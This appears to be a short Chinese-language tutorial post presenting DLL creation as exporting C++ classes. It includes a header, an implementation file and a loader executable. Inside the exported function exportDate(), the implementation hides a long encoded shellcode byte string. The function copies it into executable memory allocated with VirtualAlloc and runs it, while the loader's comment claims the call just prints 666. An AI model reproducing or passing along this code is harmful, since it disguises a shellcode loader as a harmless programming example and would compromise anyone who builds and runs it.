dll其实就是c++的class 因为cpp只能有一个主函数 所以dll随之而来
这里的源码
#ifdef CREATEDELL_API_DU #else #define CREATEDELL_API_DU _declspec(dllimport) //当编译时,头文件不参加编译,所以.cpp文件中先定义,后头文件被包含进来,因此外部使用时,为dllexport,而在内部编译时,则为dllimport #endif class CREATEDELL_API_DU animal //需要被外界调用的类(父类) { public: virtual int outDate() = 0; //纯虚函数 void getWide(int x); void getHigh(int y); protected: int wide; int high; }; class CREATEDELL_API_DU cat:public animal //需要被调用的类(子类cat) { public: int outDate(); }; class CREATEDELL_API_DU dog :public animal //需要被调用的类(子类dog) { public: int outDate(); }; int CREATEDELL_API_DU exportDate();
dll.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" #define CREATEDELL_API_DU _declspec(dllexport) #include <iostream> #include "DLL.h" using namespace std; //父类中函数实现 void animal::getWide(int x) { wide = x; } void CREATEDELL_API_DU animal::getHigh(int y){ high = y; }//子类cat中数据输出实现 int CREATEDELL_API_DU cat::outDate(){ return (wide + high);wide += wide;high += high; }//子类dog数据输出实现 int CREATEDELL_API_DU dog::outDate(){ return (wide - high); }//函数的实现 int CREATEDELL_API_DU exportDate(){ char wide[] = "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff" "xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58" "x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33" "xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0" "x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1" "x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07" "xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0" "x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec" "x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93" "x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99" "x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a" "x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0" "x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7" "x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e" "xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1" "x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13" "x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e" "x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13" "xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a" "x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5" "xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a" "x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7" "xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9" "x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4" "x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7" "xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b" "xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56" "x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85" "x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a" "x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac" "x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7" "x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90" "x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96" "x65x4bx99x46xd5xdbx11xd7"; void *exec = VirtualAlloc(0, sizeof wide, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, wide, sizeof wide); ((void(*)())exec)(); return 0; }
然后写一个exe加载我们的dll
#include<iostream> #include"dll.h" using namespace std; bool main() { cout << exportDate()<<endl; //调用函数输出666 dog dog; //实例化dog对象、赋值、并输出。 dog.getHigh(5); dog.getWide(6); cout << dog.outDate() << endl; cat cat; //实例化cat对象、赋值、并输出 cat.getHigh(16); cat.getWide(4); cout << cat.outDate()<< endl; getchar(); //让程序处于等待输入状态下,而不是一闪而过 return 0; }